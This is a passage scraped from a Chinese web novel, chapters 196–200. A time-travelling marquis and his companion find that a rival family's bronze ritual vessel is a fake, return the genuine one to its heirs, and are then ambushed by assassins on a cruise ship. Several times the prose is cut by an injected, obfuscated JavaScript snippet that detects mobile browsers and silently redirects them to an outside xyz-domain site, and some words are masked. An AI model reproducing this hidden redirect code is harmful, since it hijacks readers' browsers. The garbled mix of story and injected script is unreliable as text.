何丽安急得跺脚,连忙追了出去。 何丽安和何家豪一前一后冲出了房间,急促的脚步声很快消失在走廊里。 窗帘后的阴影里,裴应见的身形显露出来。 他听不懂那两姐弟刚才的争吵,但从他们激动的神态和指着青铜尊的动作来看,事情好像有点复杂。 他的目光落在桌上那件青铜尊上。 不管怎样,先把这东西弄走再说。 他身形一闪,已来到桌前,伸手抱起了那件青铜尊。 入手感觉有些不对,似乎比他带来的那件要轻上一些。 来不及细想,他抱着东西,念头一动,身影便消失在房间里。 下一瞬,他已回到自己位于侯府的书房密室。 将青铜尊放在熟悉的紫檀木长案上,借着密室里的烛火仔细端详。 触手冰凉,但那份厚重感明显不足。 他伸出手指,轻轻叩击尊身。 声音略显单薄,不清脆。 再看那纹饰,虽模仿得惟妙惟肖,细看之下,线条却略显生硬,缺少了真正古物历经岁月沉淀的那份神韵。 尤其是器物底部的刻款,笔画滞涩,与他记忆中皇宫珍藏的真品相去甚远。 假的。 第196章 时空错乱 裴应见立刻确定,这件东西,是个仿品。 那两个人,拿了个赝品来拍卖? 裴应见皱了皱眉,抱起那件赝品青铜尊,再次凝聚心神。 头等舱套房内。 秦绵绵正端着水杯喝水,眼角余光瞥见身侧忽然有人影一晃。 她放下水杯,看向突然出现的裴应见,以及他怀里抱着的那个眼熟的青铜尊。 “你怎么又把它抱回来了?” 裴应见出门的时候,她就知道他要去偷对方的青铜尊,藏起来。 而最好的隐藏之处,莫过于直接带回大雍。 到时候就算上天入地,对方也不可能找得到,自然不可能在拍卖会上出幺蛾子了。 只是大侯爷又把东西带了回来,是几个意思? 而一旁的姜敬意,刚才还在为拍卖会的事情忧心忡忡地踱步。 感觉眼前好像恍惚了一下,一转头,就看见裴应见抱着个大铜疙瘩凭空出现在了房间中央。 姜敬意眼睛瞬间瞪得溜圆,整个人僵在原地。 他看看裴应见,又看看他怀里的青铜尊,再看看一脸平静的秦绵绵。 手指颤颤巍巍地指向裴应见,半天没说出话来。 “你……你……你刚……” 他刚才明明不在房间里的! 这怎么一转眼就凭空出现了,还抱着个东西? 大变活人吗?! 裴应见将怀里的青铜尊往桌上一放。 “看看这个。” 姜敬意刚从“大变活人”的震惊中缓过一点神,视线落在那青铜尊上,眉头立刻就皱了起来。 秦绵绵也凑近了些,目光仔细扫过。 两人都是鉴宝高手,只一眼就察觉了不对。 秦绵绵伸出手指,在青铜尊表面轻轻敲了敲。 “声音不对。” 姜敬意也上手摸了摸,又掂量了一下:“分量也轻了些。” 两人对视一眼,几乎异口同声:“是假的。” 裴应见点点头,将刚才在隔壁房间看到的情形简单说了说,最后无奈地补充:“他们说话叽里呱啦,我一个字也听不懂。” 秦绵绵忍着笑:“看来侯爷有空还是得多学几门外语,不然以后办事都不方便。” 裴应见嗔了她一眼。 盛意一直安静旁观,听到这里,忽然插话道:“玛丽安·怀特……丽安……莫非是港城何家的人?” “何家现在只有姐弟俩,姐姐叫何丽安,弟弟叫何家豪。” 裴应见点头:“这应该就是对上了。说说看,你了解这个何家吗?” 盛意道:“何家是港城的老牌家族,有几百年历史。听说上一代家主娶了位英国贵族女子,所以后代都有混血特征。但近些年已家道中落。” 秦绵绵接口:“看来是,不然也不会沦落到变卖这种宝物的地步。” 盛意顿了顿,点点头:“听闻何家确实收藏着一件极为珍贵的青铜尊,是祖上传下来的,还曾经小范围展出过,轰动一时。只是不知道是不是就是这一件。” 姜敬意忽然猛地一拍手: “我也想起来了!何家,没错。他们家确实有一件青铜尊。据说是从他们先祖何宝荣手里一代代传下来的,传了好几百年了。” 何宝荣? 秦绵绵觉得这名字有点耳熟,她从随身的小包里掏出一本线装的册子,快速翻阅起来。 裴应见抬眼一看,不是别的,正是上次在医院时看到她看的那本大雍的野史。 没想到她来游轮拍卖会竟然也带着这东西。 很快,她指着其中一页:“找到了。何宝荣,雍末将领,拥兵自重,于乱世中割据一方,后不知所踪。” 几人面面相觑,都有些愣怔。 姜敬意摸摸下巴: “何家是传承了几百年的人家了,虽然现在没落了,但底蕴还在,绝不可能拿个假货出来砸自己招牌。” 他看向桌上的假青铜尊:“这其中一定有缘故!” 秦绵绵和裴应见却交换了一个眼神,彼此间立刻都明白了。 这青铜尊,本就该是何家的。 是大雍覆灭,皇宫失陷时,被那位何家先祖何宝荣辗转弄到手的传家宝。 可裴应见从皇宫宝库里把它“借”到了现代。 于是,何家发现,自家的传家宝……不翼而飞了。 这恐怕才是他们不得已弄了个赝品出来顶替的原因。 时空错乱,因果颠倒。 两人看向对方,都猜到对方肯定已经猜到了,于是各自露出了一个有点尴尬的笑容。 姜敬意却不明白,看着两人的模样,急得不行:“到底怎么回事?你们倒是说话啊!” 姜敬意看看这个赝品,又看看那两个打哑谜似的年轻人,只觉得一个头两个大。 秦绵绵刚想开口解释,套房外面忽然传来一阵吵嚷。 盛意的一个手下快步走进来,低声回禀:“先生,有人上门来找茬,他们自称是港城何家的人。” 几人对视一眼。 秦绵绵挑了挑眉。 裴应见神色不变。 姜敬意捋了捋袖子:“来得正好。我倒要问问他们家的小崽子,到底怎么回事!” 几人走到外间客厅。 门一打开,就看见走廊里站着一男一女。 正是刚才裴应见在隔壁房间看到的何家姐弟。 他们身后也带着随身的安保人员,他们训练有素,门一打开,这些人就立刻摆开阵势,将大门团团围住。 甚至每个人都向身后摸去——那应该是佩戴武器的位置。 盛意这边的人自然也不会示弱,不用盛意吩咐,他们立刻也排成一排,将秦绵绵等人护在身后,手也同样放在了武器上。 气氛立时剑拔弩张起来。 何家豪见状,却丝毫不惧,反而怒气更胜。 他看了看秦绵绵和裴应见,伸手一指: “好啊,就是你们对不对!” “你们这两个卑鄙的小偷!” “竟然敢偷我们何家的传家宝!” 他几步冲到近前,要不是盛意的手下拦着,几乎要指到秦绵绵鼻子上了。 “偷了东西还敢拿出来拍卖?我看你们是活腻了!我告诉你们,熊先生马上就到!” “等熊先生来了,一定要让人把你们捆起来扔进海里喂鱼!” 众人脸色皆沉了一下。 第197章 给长辈道歉 这位拍卖会主人的手段,姜敬意一开始就科普过了。 别说在他的拍卖会上偷东西,弄假货,就算是小小的**,只怕他也是不能容忍的。 他只是看起来和蔼可亲,他的手段,可跟他的长相相去甚远。 “家豪!你别这样!”旁边的何丽安美艳的脸上容色苍白,伸手想拉住弟弟,却被他一把甩开。 何丽安看向秦绵绵等人,却又不知道该说什么。 秦绵绵和裴应见对视一眼,还未说话,姜敬意先上前了一步。 “小子,你说谁是小偷?” 何家豪梗着脖子: “这青铜尊是我们何家的!怎么会在你们手上!我已经查到了,手册上的另一件青铜尊就是你们送拍的,这世上绝对不会有两件青铜尊,我们家的宝物在上船前突然丢了,小偷不是你们是谁!” 姜敬意上下打量了他几眼,忽然笑了。 他也不生气,慢悠悠地问:“你是何家的?” 何家豪昂着头:“是又怎么样?怕了?好教大叔你知道,我正是何家大少爷何家豪!” 姜敬意像是听到了什么天大的笑话。 他忽然抬手,对着何家豪的后脑勺就“啪”地来了一下。 这一下不重,但侮辱性极强。 何家豪被打懵了,捂着后脑勺,怒视着姜敬意:“你!你敢打我?!” 姜敬意瞪眼:“打你怎么了?打的就是你这个不尊长辈的臭小子!” “我问你,前年,你们家在港城半山的老宅,是不是被人动了祖坟风水?” 何家豪一愣。 “是不是请了七八个风水师都束手无策,家里怪事频发,差点闹出人命?” 何家豪脸上的怒气渐渐变成了惊疑。 这件事当时闹得不小,但仅限于圈内,外人很少知道细节。 “是谁最后出手,帮你们家把那歹毒的风水局给破了……” 姜敬意话没说完,走廊尽头忽然传来一阵沉稳而密集的脚步声。 众人循声望去,只见一个矮胖的身影在一群黑西装、戴墨镜、气势慑人的安保簇拥下,正快步走来。 来人正是这次拍卖会的主人,熊先生。 他脸上依旧挂着那标志性的、弥勒佛般的和善笑容,但那双被肥肉挤成细缝的眼睛里,却看不到半点笑意,只有冰冷的精光。 “怎么回事?这么热闹?”熊先生的声音不高,却带着一股不容置疑的威严,让原本嘈杂的走廊瞬间安静下来。 他身后那些安保人员训练有素地散开,隐隐将秦绵绵、裴应见、姜敬意、盛意,连同何家姐弟,以及双方带来的人,全都围在了中间。 气氛瞬间降至冰点。 几支黑洞洞的武器,若有似无地从西装下摆探出一点寒光。 何家豪看到熊先生,像是找到了主心骨,又像是抓到了救命稻草,立刻指着秦绵绵这边叫嚷: “熊先生!您来得正好!就是他们!他们偷了我们何家的传家宝!” 熊先生目光扫过何家豪,又转向秦绵绵和裴应见,脸上的笑容更深了些。 “哦?偷东西?”他慢条斯理地说,“这位先生,话可不能乱说。” “不过……”他话锋一转,“刚才确实有警报响起,安保也报告说在玛丽安小姐的房间附近侦测到异常闯入信号。” “而且,据我所知,这次拍卖会上,确实有两件极为相似的青铜尊送拍。” “不知这几件事,是否有关联呢?” 熊先生拍了拍手,语气变得“公事公办”:“为了拍卖会的公平公正,也为了各位贵客的安全和声誉着想……在事情没有调查清楚之前,恐怕要委屈一下双方了。” “两件拍品,暂时由我们代为保管。相关人员,也请暂时留在各自房间,配合调查。” 这话一出,秦绵这边的人,包括姜敬意和盛意,脸色都没怎么变。 他们心里跟明镜似的,这胖子就是揣着明白装糊涂。 什么调查,什么保管,不过是找个由头,替幕后那人来找茬罢了。 拍品是借口,扣人才是目的。 可何家姐弟俩就完全懵了。 尤其是何家豪,他本来以为熊先生是来给他主持公道的,怎么听这意思,连他们也要被“调查”和“软禁”? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15488463|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这跟说好的不一样啊! 他看看熊先生那笑眯眯却毫无温度的脸,又看看周围那些面无表情、如同雕塑般的安保人员,以及他们身上隐约透出的危险气息。 一股寒意瞬间从脚底窜上后脑勺。 他这才后知后觉地意识到,事情可能远比他想象的要严重和危险。 这位熊先生在海上的名声可不是靠和气生财得来的。 传闻中,那些在他地盘上**或者坏了规矩的人,下场都不怎么体面,有些甚至直接消失了。 何丽安更是吓得脸色发白,她紧紧抓住弟弟的胳膊,身体微微发抖。 她后悔了,后悔刚才没有拦住冲动的弟弟。 他们何家现在势单力薄,怎么就一头撞进了这种神仙打架的局面里? 这明显是冲着对面那几个人来的,他们姐弟俩,怕是要被殃及池鱼了。 “熊先生……”何丽安声音带着颤抖,试图解释,“这……这是个误会……” 熊先生却只是笑笑,并不接话,那眼神仿佛在说:是不是误会,恐怕就由不得你们了。 他抬了抬下巴,身后的安保人员立刻上前一步,无声的压迫感瞬间笼罩了所有人。 走廊里的空气仿佛凝固了,只剩下众人紧张的心跳声。 就在这千钧一发,空气几乎凝固的时刻。 秦绵绵忽然动了。 她越过挡在身前的盛意手下,不紧不慢地走到几乎要跳脚的何家豪面前。 所有人的目光都集中在她身上,包括那些握着武器的安保。 何家豪看着她走近,下意识地挺了挺胸膛,色厉内荏地喊:“你想干什么?告诉你,熊先生在这……” “啪!” 一声清脆的巴掌声响彻走廊。 何家豪彻底被打懵了,捂着脸,难以置信地看着秦绵绵。 周围一片死寂,连熊先生脸上的笑容都僵了一下。 秦绵绵甩了甩手腕,语气平淡无波:“知道自己错哪儿了吗?” 何家豪怒火中烧,刚要发作。 秦绵绵又是一声冷斥:“还不赶紧给长辈道歉!” 第198章 物归原主 何家豪更懵了:“长辈?什么长辈?” 他看看秦绵绵,又看看她身后的裴应见和姜敬意,完全摸不着头脑。 旁边的何丽安却像是忽然想起了什么,脸色骤变。 她死死盯着姜敬意,眼神从惊疑不定逐渐变为恍然和激动。 “您……您是……姜四叔?”何丽安的声音带着颤抖。 姜敬意哼了一声,算是默认。 何家豪看看姐姐,又看看姜敬意,脑子还是没转过弯:“姐,什么姜四叔?” 何丽安猛地一拽弟弟的胳膊,急声道:“家豪!快!快给姜四叔道歉!” “这位就是那年帮了我们何家大忙的姜先生!爸爸在世时常常提起!” 当年何家老宅出事,父亲遍请高人无果,最后正是这位姜先生出手相助,才化解了危机。 只是当时姐弟俩都在国外读书,只听父亲说过,并未见过姜敬意的面。 何家豪想到此处,顿时如遭雷击,想起父亲确实提过一位神通广大的“姜四爷”,只是他从未放在心上。 他看看姜敬意,再想想自己刚才那嚣张跋扈、指着人家鼻子骂小偷的样子,脸上一阵红一阵白,恨不得找个地缝钻进去。 “姜……姜四叔……我……我……”他结结巴巴,道歉的话卡在喉咙里说不出来。 何丽安连忙上前,对着姜敬意深深鞠了一躬:“姜四叔,对不起!家豪他年少无知,冲撞了您,请您千万别跟他一般见识!” 她又狠狠瞪了弟弟一眼:“还不快给姜四叔赔罪!” 何家豪这才反应过来,连忙跟着鞠躬道歉:“姜四叔,我错了!我不该胡说八道,您大人有大量,别跟我计较!” 姜敬意这才满意地点点头,脸上露出长辈的慈祥笑容。 他上前拍了拍何家豪的肩膀,语重心长:“小子,知错能改就好。” “想当年,你爸爸跟我也是不打不相识啊……” 姜敬意顺势回忆起当年和何家家主的几分交情,言语间满是唏嘘。 “唉,一晃这么多年过去了,没想到老何走得这么早。” “这次拍卖会结束,我定要去港城,给你父亲上柱香。” 一番话说得何丽安眼圈泛红,何家豪也低下了头,刚才的剑拔**张荡然无存。 一场抓贼风波,转眼变成了感人的认亲大会。 旁边的熊先生和他的一众手下都看傻了眼。 这剧情转折也太快了点吧? 熊先生脸上的笑容有些挂不住了,他微微眯眼,干咳一声:“几位,到底怎么个说法……” 秦绵绵似笑非笑地看着他:“熊先生,您也看到了,这是自家长辈教训不懂事的晚辈,既然如此,这里的事就不劳您费心了。” 熊先生脸上的不悦十分明显。 秦绵绵只当看不见: “还是说,熊先生连别人家的家事也要插手管一管?” 这话堵得熊先生一口气差点没上来。 他看看姜敬意,又看看秦绵绵,再看看旁边低眉顺眼的何家姐弟,知道今天这茬是找不成了。 “呵呵,原来是世交,那确实是误会一场。”熊先生皮笑肉不笑地摆摆手。 “既然没事了,那我就不打扰各位叙旧了。” 说完,他深深地看了秦绵绵和裴应见一眼,带着他的人头也不回地走了。 那背影多少带着些不甘心。 等人走远了,秦绵绵才笑着对何家姐弟说:“外面不是说话的地方,进来说吧。” 何丽安赶紧拉着还有点没缓过神的弟弟,跟着进了套房。 一进屋,看到桌上那件青铜尊,姐弟俩的眼神又复杂起来。 秦绵绵取出自己的那件青铜尊,直接道:“丽安姐,家豪,这件青铜尊,你们拿回去。” 何丽安和何家豪惊讶地看着秦绵绵。 秦绵绵微微一笑,将那件散发着幽幽古韵的真品青铜尊推到他们面前。 何丽安连忙摆手:“秦小姐,这万万不可!” “这是你们的拍品,我们怎么能要?” 何家豪也跟着点头:“是啊,我们那个假的……熊先生说会帮我们流拍,不影响的。” 秦绵绵摇摇头。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15491816|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“令尊在世时也是响当当的人物,何家传承几百年,不能因为一件赝品而蒙羞。” “这青铜尊本就是你们何家的东西,物归原主,天经地义。” 她顿了顿,目光扫过两人疑惑的脸。 “至于它为何会辗转到了我手里,过程有些曲折离奇,一两句也说不清楚。” “但我可以保证,等此间事了,定会给你们一个详尽的交代。” 看着秦绵绵坦诚的目光,又想到刚才姜敬意解围的情景,何丽安已信了大半。 可她还是担忧:“那秦小姐你们……明天的拍卖会怎么办?” 没有了拍品,岂不是要任人嘲笑? 裴应见微微一笑:“我们自然有我们的应对之法。” 姜敬意也上前一步,拍了拍何家豪的肩膀。 “行了,小孩子家家,别替大人操心。我这侄女,心里有数得很。” 秦绵绵配合地弯了弯嘴角:“有人且等着看我们的笑话呢,如果不吃瘪,岂不是让人家失望?” “你们只管把东西收好,安心准备明天的拍卖。剩下的事情,不用你们担心。” 何丽安看着眼前这几人,尤其是气度不凡的裴应见和一脸笃定的秦绵绵,心中的感激与愧疚交织。 “姜四叔,秦小姐,裴先生……” 姜敬意挥挥手,打断他:“行了,都是自家人,别婆婆妈妈的。” “赶紧把东西拿回去放好。”他板起脸,教训道,“明天给我拿出何家子孙的气派来,别给你爹丢人!” 何丽安眼圈一红,用力点头。 她拉着弟弟,郑重地向三人鞠了一躬。 “今日之恩,何家铭记于心。他日若有需要,赴汤蹈火,在所不辞。” 说完,她小心翼翼地抱起那件沉甸甸的青铜尊,带着何家豪快步离开了。 …… 萧公子的套房内。 女人正紧紧盯着面前的监控屏幕。 当看到何家姐弟不仅没能让秦绵绵难堪,反而抱着青铜尊一脸感激地从对方房间离开时,她脸上期待的笑意瞬间凝固。 第199章 卦象如何 画面切换,何丽安抱着那件货真价实的青铜尊消失在走廊尽头。 女人猛地站起身,姣好的面容因愤怒而扭曲。 她伸手想去端桌上的水杯,指尖却控制不住地颤抖。 “哐当——” 水晶杯被她拂落在地,应声而碎,冰冷的水液浸湿了柔软的地毯。 房间里静得可怕,只有玻璃碎裂的余音在回荡。 就在这时,套房的门悄无声息地打开了。 萧公子操控着轮椅缓缓驶入,他的视线掠过地上的狼藉,最终停留在女人略显僵硬的身影上。 他什么也没说,但无形的压力却让房间的温度骤降了几分。 女人身体一颤,脸上的怒容迅速褪去,转而浮现出几分惊惧和慌乱。 她立刻蹲下身,手忙脚乱地去捡拾那些尖锐的玻璃碎片: “哥哥……我,我不是故意的……” 萧公子没有理会地上的碎片,操控轮椅来到她身边。 他停下,低头看着她微微发白的手指。 沉默片刻,他忽然伸出那只完好的手,轻轻放在了女人的发顶。 动作轻柔得如同安抚一只受惊的小动物。 “不开心了?” 他的声音很轻,带着一种奇异的温和。 女人猛地一颤,随后紧绷的身体瞬间松弛下来,她抬起头,眼眶泛红,声音里充满了委屈。 “哥哥,他们……他们竟然没事!” “秦绵绵把真的青铜尊还给何家了!我们不是说好要看她出丑吗?” 萧公子打断了她,修长的手指依旧在她发间流连。 “我不是说过,逗弄猎物要慢慢来。” “看着他们以为抓住了救命稻草,再一脚踩碎,岂不是更有趣?” 他嘴角勾起一抹冰冷的弧度,眼神里却没有丝毫笑意。 “不过,既然你不喜欢这样……” 他顿了顿,声音愈发轻柔,仿佛情人间的低语。 “那我们就换个玩法……让他们连明天的拍卖台都上不去,怎么样?” 女人的眼睛瞬间亮了起来,刚才的委屈和愤怒被狂喜取代。 “好!哥哥!就这么办!” 她兴奋地抓住萧公子的衣袖,几乎是脱口而出:“我要秦绵绵死!我要她……” 话音未落,她猛然惊觉,后面的话被硬生生吞了回去,小心翼翼地观察着萧公子的脸色。 萧公子的表情没有任何变化,依旧是那副冷肃的样子。 女人连忙改口,声音放得又软又嗲,带着几分残忍的快意: “我是说……给秦绵绵留一口气,让她亲眼看着她身边的人,一个一个……” 她抬手,做了一个割喉的动作,眼神怨毒而兴奋。 “让她求生不得,求死不能!这才解恨!” 萧公子看着她扭曲而兴奋的脸庞,终于微微一笑。 “好。都依你。” 夜色渐深,海浪轻拍着船舷。 姜敬意坐在地毯上,面前摊着几枚古旧的铜钱。 他手指捻动,口中念念有词,将铜钱往空中一抛。 铜钱叮叮当当地落下,散布成一个卦象。 姜敬意盯着那卦象,眉头越拧越紧。 他捡起铜钱,又试了一次。 结果还是一样,甚至更显凌乱。 “嘶……” 他倒吸一口凉气,脸色有些发白。 裴应见一直留意着他,见状走了过来。 “四叔,如何?” 姜敬意抬起头,眼神复杂地看了裴应见一眼,又瞥了瞥旁边的秦绵绵。 没说话。 裴应见又转向秦绵绵。 秦绵绵咳嗽一声,避开裴应见的目光,含糊道:“卦象不明,但绝非吉兆。” “今晚恐怕不太平,须得万分警醒才行。” 裴应见于是也不再问: “那就多加小心。” 裴应见看着两人,沉声道:“今晚我守夜。” 秦绵绵立刻反对:“不行,我们轮流。” 裴应见转头看她,走到她身前,低头道: “不必。有你在房里安睡,我才能安心守在外面。” 他声音平静,语气却有些霸道。 秦绵绵还想说什么,却被他伸手拍了拍脑袋,只得没了声音。 姜敬意在一旁将两人的互动尽收眼底,摸着下巴,眼神里多了几分玩味。 稍后,趁着裴应见去检查门窗,姜敬意凑到秦绵绵身边。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“晚安晚安!” 话音未落,人已经闪进了房间,咔哒一声关上了门。 门外,裴应见维持着那个微微俯身的姿势,愣了一下。 他无奈地摇摇头,嘴角似乎弯了弯,又似乎没有。 一丝若有若无的气闷萦绕心头。 他轻叹口气,转身走向了外间客厅的沙发。 第200章 暴毙 夜还很长。 凌晨三点,万籁俱寂,只有海浪拍打船体的声音单调重复。 裴应见坐在客厅沙发上,双目微阖,实则五感全开,警惕着周遭的任何一丝异动。 他答应了让秦绵绵安睡,自己便要守好这片刻的安宁。 忽然,一阵急促的敲门声打破了寂静。 不是秦绵绵或姜敬意的房间,而是套房的大门。 裴应见睁开眼,目光锐利如刀。 门外传来盛意手下压低却难掩焦急的声音:“裴先生,盛先生让我来请您,出事了。” 裴应见起身开门。 门外站着一个神色紧张的黑衣人。 “怎么回事?” “到了换班时间,该来的三个人一直没有回应,对讲机也联系不上。” “盛先生觉得不对劲,让我立刻来报告。” 裴应见眸色一沉。 那卦象,还真准了。 他转身敲了敲秦绵绵的房门。 很快,门开了,秦绵绵显然也没睡踏实,衣着整齐。 “出事了,盛意的人失联了。”裴应见言简意赅。 隔壁姜敬意的门也开了,他顶着一头乱发,睡眼惺忪:“出事了?!” 话没说完,看到裴应见和秦绵绵严肃的表情,以及门口那个手下,他打了个激灵,睡意全无。 盛意已经带着另外几个手下快步从走廊另一头过来,脸色阴沉得能滴出水。 “裴先生,秦小姐,姜先生。”他点点头,“失联的是负责守卫这层楼梯通道的三个人,他们的房间就在前面不远。” 裴应见:“去看看。” 一行人脚步匆匆,却又刻意放轻,穿过安静的走廊。 姜敬意跟在后面,神情紧绷。 秦绵绵瞥了他一眼,握紧了藏在袖中的武器。 来到一间普通的船员房门前,盛意的手下示意。 房门虚掩着,留着一道缝隙。 盛意打了个手势,两个手下立刻上前,一左一右,猛地将门推开,同时戒备地举起了武器。 房间里没有灯光,只有走廊的光线透进去,隐约照出里面的情形。 一股浓郁的血腥味扑面而来。 姜敬意“啊呀”一声,差点跳起来,被秦绵绵眼疾手快地扶了一把。 盛意率先走了进去,打开了房间的灯。 惨白的光线下,房间内的景象让所有人都倒抽了一口冷气。 三具尸体倒在狭小的空间里,姿势扭曲。 他们的脖颈处都有致命的伤口,鲜血染红了地毯和墙壁,死状凄惨,显然是被人一击毙命,连反抗或呼救的机会都没有。 盛意看着自己手下的惨状,拳头握得咯咯作响,眼中是压抑的怒火和杀意。 姜敬意捂着心口,脸色发白。 裴应见目光冰冷地扫过房间,最后定格在其中一具尸体的手腕上,那里空空如也,原本应该佩戴的对讲机不见了。 秦绵绵也注意到了这一点,她走上前,蹲下身仔细查看了一下伤口。 “手法干净利落,是专业人士。” 她站起身,看向裴应见:“看来,那位萧公子等不及了。” 就在他们凝神检查之际,一个黑乎乎的东西突然毫无征兆地从门外阴暗的角落里滚了国来。 “小心!”裴应见反应最快,一把将秦绵绵拉到身后。 那东西撞在地上,嗤的一声,瞬间腾起大片浓密的白色烟雾。 烟雾迅速弥漫开来,呛人的气味立刻充斥了整个狭小的房间和外面的走廊。 几乎同时,天花板上的烟雾探测器发出了刺耳尖锐的警报声,瞬间响彻了整层船舱。 “呜——呜——呜——” 警报声如同催命符,原本寂静的深夜被彻底打破。 附近舱房的门接二连三地打开,睡梦中被惊醒的客人们不明所以,脸上带着惊恐和茫然,尖叫着、推搡着涌入走廊,场面顿时一片混乱。 “怎么回事?着火了吗?” “快跑啊!” “别挤我!” 盛意脸色铁青,对着仅剩的几个手下厉声喝道:“保护先生和小姐!” 他自己则一步上前,挡在了裴应见和秦绵绵身前。 几个训练有素的保镖立刻将三人紧紧护在中间,警惕地观察着烟雾弥漫的四周,同时带着众人一起往外走。 姜敬意刚才目睹尸体的惊吓还没缓过来,秦绵绵伸手扶着他,而裴应见则贴身护着秦绵绵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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混乱 盛意牙关紧咬,手中**翻飞,已然抱了必死之心,只求能为裴应见他们多争取一息时间。 他格挡开一把劈向面门的短刀,反手一刺,却被对方灵巧避开。 就在他以为裴应见和秦绵绵已经带着姜敬意趁机逃离时,眼角余光却瞥见两道身影。 裴应见和秦绵绵不退反进,竟然转头向他奔了过来。 裴应见如一道疾风,瞬间切入战团,手中不知何时也多了一柄寒光闪闪的短刃,招式凌厉,直取敌人要害。 秦绵绵紧随其后,身形灵动,手中几枚暗器时不时飞出,角度刁钻,总能在关键时刻扰乱敌人攻势,为裴应见和盛意创造机会。 “裴先生……”盛意一怔,胸口一股热流涌动。 有了裴应见和秦绵绵的加入,形势瞬间逆转。 那几个黑衣**本以为手到擒来,此刻却左支右绌,很快便有两人被裴应见干脆利落地放倒。 但萧公子的人却不是这么容易摆脱的。 就在秦绵绵他们想趁这个空挡离开时。 “嗖——”又一个黑乎乎的东西从烟雾更深处抛了过来。 “又来?当这是年夜饭放烟花呢?”姜敬意叫道,连忙捂住口鼻。 浓密的白烟再次炸开,比刚才那一次范围更广,气味也更加刺鼻。 混乱中,裴应见却异常冷静。 他似乎早有预料,在那东西落地前便猛地一拉秦绵绵和盛意,同时低喝:“闭气!” 烟雾弥漫的瞬间,他不退反进,手中短刃化作一道匹练,朝着记忆中敌人最密集的方向横扫而出! “噗噗噗——” 一连串闷响和倒地声传来。 烟雾中,裴应见这一击竟是精准无比,直接将数名试图趁乱合围的敌人悉数击倒。 “走!”裴应见抓住机会,拉着秦绵绵,另一手拽上还在咳嗽的姜敬意,盛意也紧随其后,四人朝着走廊出口的方向疾冲。 烟雾和警报声制造了巨大的混乱,到处都是奔逃的客人。 就在他们即将冲出这条被烟雾笼罩的走廊,前方光线隐约可见时,异变陡生! 盛意跑在最后,负责断后。 他刚解决掉一个追上来的敌人,旁边一扇紧闭的客房门突然无声无息地打开,一道乌光如毒蛇般射出,直取他后心! “小心!”秦绵绵眼尖,顿时疾呼。 盛意反应已是极快,猛地侧身,那乌光堪堪擦着他的肋下而过,带出一道血箭。 “呃!”盛意闷哼一声,身形一个踉跄。 而那偷袭者一击不中,立刻缩回门内,门又砰地一声关上。 “盛意!”裴应见回身想救。 但就在这短短的耽搁间,更多的黑影从烟雾中涌出,如同潮水般将盛意与他们三人隔开。 “裴先生!快走!别管我!”盛意大吼一声,挥舞**挡住扑上来的敌人,鲜血从他肋下不断涌出。 混乱的人流推搡着,烟雾依旧浓烈。 裴应见眼神一厉,还想再冲回去,却被越来越多涌上来的人群再次阻隔。 眼看盛意被数名敌人缠住,身影渐渐被烟雾和人潮吞没,裴应见牙关紧咬,最终只能带着秦绵绵和姜敬意,趁着敌人注意力被盛意吸引的空隙,杀出重围。 三人冲出烟雾弥漫的走廊,终于呼吸到甲板上带着咸湿海风的空气。 身后依旧是尖叫和混乱,但视野开阔了不少。 姜敬意扶着船舷,大口喘着气。 “这船不能待了!咱们得想办法下去!” 秦绵绵摇摇头:“他们既然敢在船上动手,就必然料到我们会想逃。水路恐怕早就布下了天罗地网。” “而且现在下去,正中他们下怀。他们巴不得我们当缩头乌龟,灰溜溜地逃走……可我偏不。” “那怎么办?总不能在这里等死吧!”姜敬意也明白这个道理,却只能苦笑。 秦绵绵目光扫过甲板上慌乱的人群:“越乱,对我们反而越有利。我们先去船头,那里人多,他们想动手也没那么容易。首要任务是保证四叔你的安全。” 裴应见点头嗯了一声,看向秦绵绵的眼神里多了几分赞许。 与此同时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505028|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 游轮顶层一间隐蔽的豪华套房内,萧公子和女人正透过单向玻璃,饶有兴致地看着甲板上奔逃呼号的人群,如同欣赏一场精心编排的戏剧。 他身旁的女人兴奋得满脸通红,紧紧攥着拳头: 